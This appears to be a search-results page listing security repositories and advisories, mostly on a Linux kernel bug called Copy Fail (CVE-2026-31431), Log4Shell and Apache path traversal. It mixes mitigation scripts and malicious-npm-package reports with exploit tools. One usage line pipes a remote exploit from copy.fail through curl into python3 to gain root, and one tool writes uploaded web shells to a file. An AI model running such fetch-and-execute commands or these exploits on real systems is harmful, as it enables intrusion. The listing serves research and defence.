121622 matches found
copyFail-CVE-2026-31431-workaround-bash
copyFail-CVE-2026-31431-workaround-bash some usage: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...
Paranoid-Copy-Fail-CVE-2026-31431
================================ Paranoid AFALG hardening script ================================ Blocks all user-space kernel crypto interfaces AFALG + algif modules Mitigates CVE-2026-31431 and reduces future attack surface Safe for normal systems SSH, TLS, LUKS, WireGuard Only breaks rare apps...
CVE-2026-31431-Copy-Fail
CVE-2026-31431 - Verification and Mitigation Script This repository documents a Bash script used to assess exposure to CVE-2026-31431 on Linux hosts, with a focus on Ubuntu, and to apply a simple mitigation by blocking the algifaead module. Language versions: English: README.md Portuguese:...
Malicious code in @dransay/phone-fix-test (npm)
Source: amazon-inspector e01479e9a6af5de5f6abec6c16007bd3757b52b0e434b38b44d40fde12961c08 Package.json declares scripts.preinstall="node beacon.js", which fires automatically on npm install. beacon.js performs a DNS lookup and HTTPS GET to a hardcoded Interactsh/OAST subdomain under oast.site,...
Malicious code in @dransay/secrets (npm)
Source: amazon-inspector aef0f6b36413e45664391c5341f7c30a4501c2cc916add9ba6525bf57e559d51 The package declares a preinstall script that runs beacon.js, which performs a DNS lookup and HTTPS GET to a hardcoded Interactsh collector host db3klhbi6i9hark1kegg174t38h33b6wt.oast.site at npm install tim...
Malicious code in dransay (npm)
Source: amazon-inspector 46d06d0ce82913346840f676660d67f9838f48511e58eef793bfe7c52091071f [email protected] declares a preinstall lifecycle script that runs node beacon.js, which performs a DNS lookup and HTTPS GET against a hardcoded Interactsh oast.site collaborator subdomain...
cve-2021-44228-waf-tests
Simple bash script to test your WAF or other devices against Log4Shell attack strings and various bypasses Bypass tricks from: https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words To run: ./cve-2021-44228.sh -t -c Or to use the defaults of https://127.0.0.1 and 403: ./cve-2021-44228....
Search-log4Jvuln-AppScanSTD
Search log4J vuln using AppScan Standard and a list of websites This Powershell script run AppScan Standard scans against a list of web sites URLs.txt checking just for Log4J CVE-2021-44228 vulnerability. Structure of project: After run the script, it will read each line in URLs.txt and start...
CVE-2025-8625
CVE-2025-8625 — PoC Overview This repository contains the source files for an article on Xakep.ru. The repository contains demonstration materials intended exclusively for security research, education, and testing in isolated laboratory environments. The repository is not intended for use against...
CVE-2023-42793_POC
CVE-2023-42793 Exploit Script Overview This script is designed to automate the exploitation process for the CVE-2023-42793 vulnerability. It targets a specific service presumably affected by this vulnerability and attempts to delete a user token, create a new user token, and then create a new use...
CVE-2026-31431-exploit_py2_py3
CVE-2026-31431-exploitpy2py3 A CVE-2026-31431 script compatible with both Python 2 and Python 3 Usage: python2/3 exploitpy2py3.py escalate Reference from: https://github.com/Sndav/CVE-2026-31431-Advanced-Exploit...
CVE-2021-41773
CVE-2021-41773 Path Traversal for Apache 2.4.49 https://ubuntu.com/security/CVE-2021-41773 Affected base time: 22:49 06/10/2021 Usage IP python3 CVE-2021-41773.py -i 10.10.10.10 -s List of ips python3 CVE-2021-41773.py -l /home/ac1d/Documents/code/python/CVE-2021-41773/ips.txt -s Screenshot Check...
copy-fail-mitigate-no-reboot
copy-fail-mitigate Minimal no-reboot mitigation helper for Copy Fail / CVE-2026-31431. This script disables the vulnerable algifaead module path and attempts to unload the module immediately. It also performs a best-effort page-cache eviction for /usr/bin/su. This is a mitigation, not a kernel fi...
pepe
PEPE - Post Exploitation Pastebin Emails Collect information about leaked email addresses from Pastebin About Script parses Pastebin email:password dumps and gather information about each email address. It supports Google, Trumail, Pipl, FullContact and HaveIBeenPwned. Moreover, it allows you to...
CVE-2026-0740
ninja.py An experimental/tool script that uses file upload endpoints for the Ninja Forms plugin on WordPress sites. It sends requests sequentially to targets in list.txt and writes successful uploads to the shell.txt file. Requirements Python 3 requests usually installed together with urllib3 pip...
CopyFail-Patcher
Patcher script for CVE-2026-31431 This repo provide script for the CopyFail vulnerability, for Debian/Ubuntu/RHEL/Fedora, didn't test on other distros but anyway... Just follow these : $ git clone https://github.com/mhdgning131/CopyFail-Patcher.git $ cd CopyFail-Patcher $ chmod +x patchcopyfail.s...
log4jhound
log4jhound Bash script that detects Log4j occurences in your projects and systems: unpacks JARs and analyzes their Manifest files, text search in source code. Usage: ./log4jhound.sh rootdirectory...
CVE-2021-42013
CVE-2021-42013 Description This script exploits CVE-2021-42013 to print file or/and execute command. This script is available for: Nmap Python Ruby Requirements Python python3 python3 Standard Library Ruby Ruby Ruby Standard Library Install git clone...
CVE-2021-41773
CVE-2021-41773 Description This script exploits CVE-2021-41773 to print file or/and execute command. This script is available for: Nmap Python Ruby Requirements Python python3 python3 Standard Library Ruby Ruby Ruby Standard Library Install git clone...